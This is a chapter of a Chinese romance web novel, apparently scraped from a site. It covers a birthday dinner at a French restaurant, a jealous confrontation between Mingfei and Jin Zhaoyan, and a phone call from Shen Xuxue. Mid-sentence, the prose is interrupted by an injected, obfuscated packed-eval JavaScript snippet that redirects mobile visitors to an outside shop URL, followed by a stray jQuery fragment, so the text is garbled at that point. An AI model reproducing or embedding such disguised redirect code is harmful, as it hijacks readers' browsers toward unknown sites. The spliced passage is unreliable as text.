车子一路疾驰,驶入蜿蜒曲折的山路,最终停在一座庄园门前。一座恢弘的宫廷式建筑赫然映入眼帘。停完车后,两人一前一后,走进那家名为“AubeetCrépuscule”的餐厅。

    入眼是高耸的穹顶,上面绘着恢弘壮观的古典式的壁画,四周以高大的浮雕罗马柱承托着穹顶,巨型的鎏金水晶吊灯垂在厅堂中央,吊灯之下是拱状的落地镜与雕花壁炉。

    厚重附有暗纹的墨绿色窗帘垂落在窗边,餐桌上铺着平整洁白的桌布,整体氛围华丽又庄重,尽显复古奢华感。

    明霏却觉得莫名窒息。也许是为了保留餐厅整体的肃穆氛围,窗户采用的也是花窗式的设计,那股无形的压抑感从进门的那一刻起,便扑面而来。

    很快,迎面而来的男服务员十分热情地上来招呼她们,将他们牵引至指定位置就坐。每一张餐桌旁都摆着小巧复古的桌灯,散发着朦胧柔和的暖色灯光。

    “我眼光还算不错吧?这儿应该挺出片的。”范之恬的扬起嘴角,伸出手引以为豪地为明霏展示店内的装修设计。

    明霏点了点头,顺势观察了一眼周遭的环境,店内的人不多。除去那种密闭空间的窒塞感不谈,整体环境典雅静谧,很适合拍照打卡。她从托特包里拿出事先准备好的礼物递了过去:“生日快乐。”

    “哇!谢谢宝宝!”她一边伸手接过那个包装精致的黑色礼盒,一边连声道谢,说着就打开手机摄像头,现场拍了张照片。

    “我可以打开吗?”明霏还没来得及点头,她已经迫不及待地拆开了最外面的包装纸。

    在看见是一条浅咖色的满印款式的罗意威羊绒围巾后,她笑着收下:“谢谢,我很喜欢!”

    “能帮我拍两张照片吗?”说着,她从身后拿出一台相机,递到明霏跟前。

    明霏正帮她拍着照,靳昭言拿着手机慢悠悠地从外头进来,他身上穿着一件纯黑色的修身高领毛衣,袖口处被他向上折起,露出一截皓白的手腕。

    他抬眸朝明霏看了一眼,即使灯光异常昏暗,他也一眼就发现了她今晚的不同。

    或许是化了妆的缘故,女孩本就小巧玲珑的五官,显得更加精致了,眼皮上亮晶晶的眼影在晦暗的光线下流光溢彩,发型也与以往不同,被扎成温柔的低丸子头乖乖垂在脑后。

    似乎和之前并没有太大差别,好像又哪哪都不一样。

    回过神后,他默默低下头单手飞速敲着九键,在手机屏幕上打着字。

    下一秒,明霏的手机屏幕响起,又是那个眼熟的陌生号码:

    【偷偷买礼物,不带我?】

    明霏无语地扯了扯嘴角,生日给对方准备生日礼物不是常识吗?这难道还是什么需要别人特意提醒的事情吗?

    她关闭了手机屏幕,假装没看见他发的信息。

    不过,说来也惭愧,这条围巾还是她昨天才去专柜现买的。因为她思考了好几天,实在想不到对方有什么需要的东西,一直拖延着,就拖到了最后一天才做决定。

    此时,范之恬朝他翻了个白眼:“哎呀就等你了,大少爷,您赶紧过来落座好吗?”

    靳昭言将手机收进裤子口袋,看着对面那位神色平静,像是完全无事发生的女生,不由得挑了挑眉。

    明霏感受到那道若有似无地落在自己身上的视线,伸手挽了一下耳边的碎发,依旧决定装死到底。

    而后,就见对方气定神闲地拉开了她对面的位置,缓缓坐下。紧接着,就听见他毫不留情地讽刺道:“麻烦你下次别再选这种鬼地方了,又暗又压抑,让我觉得自己好像走进了教堂,根本不像是来吃饭的,像来做礼拜的。”

    范之恬挽起嘴角,回之礼貌一笑:“不吃请你出门左转。这是我舅舅投资的项目之一,还请你口下积德,而且,”她别有深意的目光在他身上流转,“劝你最好对我客气点,否则,就别怪我把当……”

    “吵死了。”没等她说完,他三两下便将肉切好,推到她跟前:“你可以住嘴吃饭了。”

    明霏听着二人你一言我一语的对话,无奈地摇了摇头。

    没过一会儿,服务员便端着盘子过来为他们上菜,因为是订餐,所有菜品都是提前预定的,单人单份,先后上了酱虾、鸭胸肉、焗蜗牛等菜品,口感和她前两天和沈序雪去吃的那家西餐厅略有不同。

    法餐善用酱汁和香料,所以整体风味偏浓郁。吃饭间隙,胜在范之恬一直在滔滔不绝地分享着她的留学趣事,他们之间的气氛还算融洽。

    等主菜鹅肝牛排上来后,范之恬忙不迭拿出手机拍照。也许是因为明霏选的是七分熟,她吃不惯任何带血丝的肉类,所以她的这块牛排就被煎得很柴,切着比较费手。

    “啧。”就听见坐在她对面的人从嘴巴里溢出一声轻蔑的咂舌声,他伸出手,将自己面前已经切好的牛排放到她面前,又和她面前的餐盘做了调换。

    见此情形,范之恬不自觉地捏紧了手上的刀叉,不满地瞪了他一眼:“你的‘绅士风度’是仅某人可见的吗?”说完,她毫不客气地也将自己的餐盘移到男生的跟前。

    靳昭言蹙了蹙眉,但想到今天好歹是对方的生日,就没拒绝她。

    明霏尴尬地笑了笑,看着面前五分熟的、整齐划一的牛小粒,迅速抬头看了对方一眼。见他正神色自若地切着餐盘里的牛肉,且十分轻易地就将它们完成了切割任务,不禁发自内心地感到困惑——

    他俩刚刚切的真的是同一块肉吗?

    就在这时,手机嗡嗡震动起来。她拿起一看,是沈序雪打来的,便以去洗手间为由,匆匆离席,快步往洗手间的方向走去。

    她悄悄关上洗手间的门,给沈序雪回拨了电话。下一秒,对方的声音随之响起:

    “外头天色暗下来了,你大概还要多久结束?怕你回去路上不安全,把地址发我,等会儿我过来接你?”

    “抱歉,在这个时间点突然打给你,没打扰到你吧?”

    明霏有些受宠若惊,确实没预料到他会突然在这个时间点打过来。

    他的嗓音低沉婉转,语速偏缓,听上去漫不经心,可一字一句之间似乎总藏着几分隐隐的试探,就像是在查岗一样。

    想到这,明霏觉得自己的心脏又不自觉地开始砰砰直跳,她捏了捏自己的耳根,回了句“没事”。

    “需要我来接你吗?”他又问。

    明霏下意识地想要开口答应,但一想到待会儿如果让范之恬他们见到突然来了个陌生男人接她回去,肯定会一直缠着刨根问底,不会善罢甘休。

    尤其是,靳昭言。

    她实在是没精力应付这样的局面,忙不迭地拒绝道:“你别来、千万别来!我这边很快就结束了,结束后我朋友会送我回去的。没什么事我就先挂了。”说完,她就挂断了电话。

    听筒传来仓促挂断的忙音,沈序雪盯着漆黑的手机屏幕失神。

    为什么她会拒绝?她现在人在哪里?他们此刻又在做些什么?为什么这么着急地挂断他的电话?为什么在听到他要去接她后,她会如此如惊慌?

    她在害怕什么?

    还是说,觉得他打断了他们之间的雅兴?

    一瞬间,他的脑海中闪过无数个让他痛苦不已又倍感折磨的疑问,握着手机的指节下意识地收紧。

    ……

    而这一边,明霏刚从洗手间出来,抬头便猝不及防地对上了那双深不见底的眼眸。

    明霏本想简单和靳昭言打个照面就离开。然而,来人却一动不动地封住了她的去路,她有些不明所以。

    “怎么了吗?”她问道。

    洗手间过道的灯光忽明忽暗,却将他眼底的愤怒和怨气照得一清二楚,她不禁紧张地咽了口唾沫。

    “给你打电话的又是哪位?为什么他一来电你就火急火燎地跑出来?”他的嘴角向上扯起,一步步朝她靠近,将她逼至角落,“是新谈的男朋友吗?”

    直到退无可退,她的脊背

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903733|211576||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    无奈地抵在门上那片装饰玻璃上,冰冷的触感令她浑身一颤。还没等她反应,他顺势拉下门扶手,一把将她拽进了身后的员工休息间。

    只听见“咔嗒”一声,门被他反锁了。

    狭窄拥挤的休息室里,只剩下他们二人,安静得只剩下他们的呼吸声。

    男人冷硬利落的眉向上挑着,嘴里还在不停冒出那些口无遮拦又刺耳的话语:

    “你很喜欢他吗?看你这么着急的样子,大概还在暧昧期吧?”

    “你……”她蹙起眉头,后腰被迫抵在更加坚硬冰冷的大理石材质的洗手台前,硌得有点难受,想质问他莫名其妙说这番没头没尾的话究竟是什么意思,对方却忽然朝她伸出了手。

    在他伸手的瞬间,明霏下意识地向后躲了躲。

    靳昭言轻声叹了口气,漂亮修长的手指随意地勾起她耳际垂落的一缕发丝,有一搭没一搭地放在手里把玩着:“他的吻技怎么样?会让你心甘情愿地和他接吻吗?”

    “是老手吗?技术应该不赖吧?”

    语毕,他又后知后觉地扯着唇补了一句:“哦,我指的自然也是吻技。”

    有病。

    明霏懒得和他多费口舌,想推开他赶紧离开这里,对方却像一尊雕像似的挡在她面前,丝毫不肯给她让路,她又生气又无奈地将头撇向一边。

    下一秒,男人忽而俯身朝她靠近,未给她任何反驳的余地,不由分说地将头靠在了她的肩膀上。

    对方纤长的睫毛向下垂着,方才还带着冷笑的嘴角,跟着一并耷拉下来,就连以往总是对她横眉冷对的眉眼也都没精打采地收敛起来。

    明霏浑身僵硬地怔在原地。

    他的唇瓣几乎贴在她的耳畔,呼出一股炙热的、浅淡的葡萄酒的气息,应该是刚刚鹅肝牛排里加了葡萄酒的原因。

    她听见对方用几乎气声的语气对她低声说道:

    “离开我,你就再也找不到下一个和你在一起三年,甚至连吻都没接过,还愿意一直傻不拉几地陪你搞‘柏拉图’的傻缺了。真的。”

    ……

    临走前,她不知道靳昭言是从哪儿弄来了一束巨大无比的花束,将它丢到范之恬的怀里。

    整束花都是由人民币折成的。

    范之恬抱着那束红彤彤的人民币花束,一边咂舌,吐槽他“老土”,但在听到他说“不喜欢就还我”后,又眉开眼笑地笑着收下。

    由于她急着赶航班飞回荟州,临走前只好将明霏托付给靳昭言,让他帮忙送她回去。

    明霏正想拒绝,却被女孩一句话封住了口:“今天是我生日,你就听我的吧,好不好?而且,这么晚让你一个人回去我也不放心呀!”

    在范之恬的软磨硬泡下,她无奈上了车。

    车上,两人谁都没主动开口说话。

    明霏受不了车内沉闷的气氛,兀自将车窗摇了一点下来,想透透风,哪知道冷风猛地从缝隙间灌了进来,靳昭言眼疾手快一把将车窗关上。

    “抱歉。”她轻声致歉。

    他摇了摇头:“没事,夜间山里的风比较大。”

    “嗯。”她应了一声。

    见女孩再度陷入了沉默,靳昭言开始主动找话题聊天:“你那个酱卖得怎么样?有赢的可能吗?”

    闻言,明霏心里一阵无语,她咬牙切齿地回答道:“放心,我会一定会好好努力。”

    他随即轻笑一声:“那我就拭目以待。”

    车成功抵达小区路口,明霏伸手去解安全带的卡扣,密闭狭小的空间内忽而响起身侧之人沙哑低落的声音:

    “把我在休息室说的那些话,全都忘了吧。”

    她的手微微一顿,垂着眼睫,轻声应了一个“嗯”字。

    直到看着她的身影完全消失在拐角,男人才忍不住发出了一道无奈的叹息。

    ……

    然而,明霏按下指纹,刚一打开家门,便撞上了玄关门口那双深邃、晦暗的眼眸。